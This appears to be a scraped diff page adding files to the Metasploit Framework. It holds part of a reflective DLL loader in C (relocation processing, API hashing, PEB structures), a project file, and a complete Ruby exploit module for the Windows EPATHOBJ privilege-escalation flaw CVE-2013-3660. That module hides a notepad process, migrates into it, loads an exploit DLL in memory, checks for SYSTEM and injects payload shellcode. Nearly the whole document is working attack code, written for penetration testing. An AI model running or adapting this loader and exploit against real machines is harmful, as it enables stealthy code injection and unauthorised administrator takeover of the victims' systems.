||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,202 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual C++ Express 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -15,10 +15,14 @@ module Process
|
|||
#
|
||||
# @return [Boolean] True if successful, otherwise false
|
||||
#
|
||||
def execute_shellcode(shellcode, base_addr, pid=nil)
|
||||
def execute_shellcode(shellcode, base_addr=nil, pid=nil)
|
||||
pid ||= session.sys.process.getpid
|
||||
host = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||
shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
|
||||
if base_addr.nil?
|
||||
shell_addr = host.memory.allocate(shellcode.length)
|
||||
else
|
||||
shell_addr = host.memory.allocate(shellcode.length, nil, base_addr)
|
||||
end
|
||||
if host.memory.write(shell_addr, shellcode) < shellcode.length
|
||||
vprint_error("Failed to write shellcode")
|
||||
return false
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/process'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
|
||||
of uninitialized data which allows to corrupt memory. At the moment, the module has
|
||||
been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
|
||||
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
|
||||
'Keebie4e', # Metasploit integration
|
||||
'egypt', # Metasploit integration
|
||||
'sinn3r', # Metasploit integration
|
||||
'Meatballs', # Metasploit integration
|
||||
'juan vazquez' # Metasploit integration
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3660' ],
|
||||
[ 'EDB', '25912' ],
|
||||
[ 'OSVDB', '93539' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
|
||||
],
|
||||
'DisclosureDate' => 'May 15 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows/i
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
|
||||
print_status("Creating a new process and migrating...")
|
||||
|
||||
cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
|
||||
new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
new_pid = new_proc.pid
|
||||
|
||||
if not new_pid
|
||||
print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
|
||||
else
|
||||
print_status("Migrating to #{new_pid}")
|
||||
migrate_res = false
|
||||
|
||||
begin
|
||||
migrate_res = session.core.migrate(new_pid)
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
|
||||
migrate_res = false
|
||||
end
|
||||
|
||||
if migrate_res
|
||||
print_good("Successfully migrated to process #{new_pid}")
|
||||
else
|
||||
print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Trying to load the exploit and executing...")
|
||||
|
||||
session.core.load_library({
|
||||
"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
|
||||
"UploadLibrary" => true,
|
||||
"Extension" => false,
|
||||
"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
|
||||
"SaveToDisk" => false
|
||||
})
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
|
||||
if is_system?
|
||||
print_good("Exploitation successful!")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
|
||||
end
|
||||
|
||||
if execute_shellcode(payload.encoded)
|
||||
print_good("Enjoy!")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
Loading…
Reference in New Issue